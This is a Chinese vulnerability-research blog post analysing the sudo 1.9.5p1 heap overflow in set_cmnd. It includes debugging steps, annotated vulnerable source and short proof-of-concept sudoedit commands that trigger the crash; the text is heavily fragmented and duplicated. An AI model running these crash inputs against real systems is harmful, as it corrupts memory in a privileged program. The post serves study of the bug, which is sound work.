本文作者博客
首先从github下载代码
编译
调试(请以root方式执行gdb)
gdb加载执行后进程会crash,这时候就可以对有漏洞的源码位置下断点,因为漏洞代码貌似是动态加载的,直接下断点下不到,crash之后就可以下了
断点命令
调试用poc
漏洞位于 set_cmnd 函数中,关键代码如下
进入该函数时NewArgv的结构如下
首先会计算 NewArgv 1-2
两个参数的长度 2 + 13 = 15
.
因此user_args
分配的内存大小为 15
字节。
然后会把 NewArgv 1-2
的数据拷贝到user_args
里面。
拷贝过程中如果 from[0]
为 \
,且 from[1]
不是空格就会from++
。
所以在处理NewArgv[1]
时,from[0]
就是 \
,from[1]
为 \x00
,会通过这个判断让 from++
,然后后面会再次from++.
之后from就指向了NewArgv[1]
字符串\x00后面一个字符的位置,我们看看调试时NewArgv[1]
后面是什么
可以看到NewArgv[1]
(0x5c 0x00
)后面紧跟着的是NewArgv[2]
( 0x31 0x31 ...
),所以此时 from 执行的就是 NewArgv[2]
的开头
从而会再次进入while循环把NewArgv[2]
拷贝到user_args
然后处理NewArgv[2]
会再次把NewArgv[2]
拷贝到user_args
因此最终结果就是 NewArgv[2]
被拷贝了两次,实际的写入数据长度为26字节
这个漏洞是一个堆溢出,不过写的数据需要是非\x00,如果user_args
分配的内存比较小(比如15字节)的话,其后面是unsorted bin
,如果分配的比较大的话(使用原始的poc)其后面跟的是top chunk,感觉都不是很好利用。
感觉需要花一些时间捋一捋代码的逻辑,看看有没有什么其他的想法。
此外到达漏洞代码的poc构造过程也很精彩,这部分可以去 发布漏洞的博客 查看
写了些gdb插件的代码,可以用来查看堆布局里面的已释放块和未释放块的信息
图中带 FREE_CHUNK
是处于释放状态的块
其他的是还没有释放的,展开chunk里面是这个块分配时的调用栈
对于没有释放块的调用栈可以通过让 gef
加载 heaptrace.py
的日志来实现
使用这个插件便于我们查看发送堆溢出时前后的堆块布局信息,以便找到合适溢出的堆对象。
https:
/
/
www.cnblogs.com
/
hac425
/
p
/
14336484.html
https:
/
/
www.cnblogs.com
/
hac425
/
p
/
14336484.html
https:
/
/
github.com
/
sudo
-
project
/
sudo
/
archive
/
SUDO_1_9_5p1.tar.gz
https:
/
/
github.com
/
sudo
-
project
/
sudo
/
archive
/
SUDO_1_9_5p1.tar.gz
tar xf sudo
-
SUDO_1_9_5p1.tar.gz
cd sudo
-
SUDO_1_9_5p1
/
mkdir build
cd build
/
..
/
configure
-
-
enable
-
env
-
debug
make
-
j
sudo make install
tar xf sudo
-
SUDO_1_9_5p1.tar.gz
cd sudo
-
SUDO_1_9_5p1
/
mkdir build
cd build
/
..
/
configure
-
-
enable
-
env
-
debug
make
-
j
sudo make install
gdb
-
-
args sudoedit
-
s
'\' `perl -e '
print
"A"
x
65536
'`
gdb
-
-
args sudoedit
-
s
'\' `perl -e '
print
"A"
x
65536
'`
b ..
/
..
/
..
/
plugins
/
sudoers
/
sudoers.c:
964
b ..
/
..
/
..
/
plugins
/
sudoers
/
sudoers.c:
978
b ..
/
..
/
..
/
plugins
/
sudoers
/
sudoers.c:
964
b ..
/
..
/
..
/
plugins
/
sudoers
/
sudoers.c:
978
sudoedit
-
s
'\'
112233445566
sudoedit
-
s
'\'
112233445566
/
*
Alloc
and
build up user_args.
*
/
for
(size
=
0
, av
=
NewArgv
+
1
;
*
av; av
+
+
)
size
+
=
strlen(
*
av)
+
1
;
if
(size
=
=
0
|| (user_args
=
malloc(size))
=
=
NULL) {
if
(ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
for
(to
=
user_args, av
=
NewArgv
+
1
; (
from
=
*
av); av
+
+
) {
while
(
*
from
) {
if
(
from
[
0
]
=
=
'\\'
&& !isspace((unsigned char)
from
[
1
]))
/
/
关键逻辑!!!
from
+
+
;
*
to
+
+
=
*
from
+
+
;
}
*
to
+
+
=
' '
;
}
*
-
-
to
=
'\0'
;
}
/
*
Alloc
and
build up user_args.
*
/
for
(size
=
0
, av
=
NewArgv
+
1
;
*
av; av
+
+
)
size
+
=
strlen(
*
av)
+
1
;
if
(size
=
=
0
|| (user_args
=
malloc(size))
=
=
NULL) {
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2021-1-31 17:27
被暗香沉浮编辑
,原因: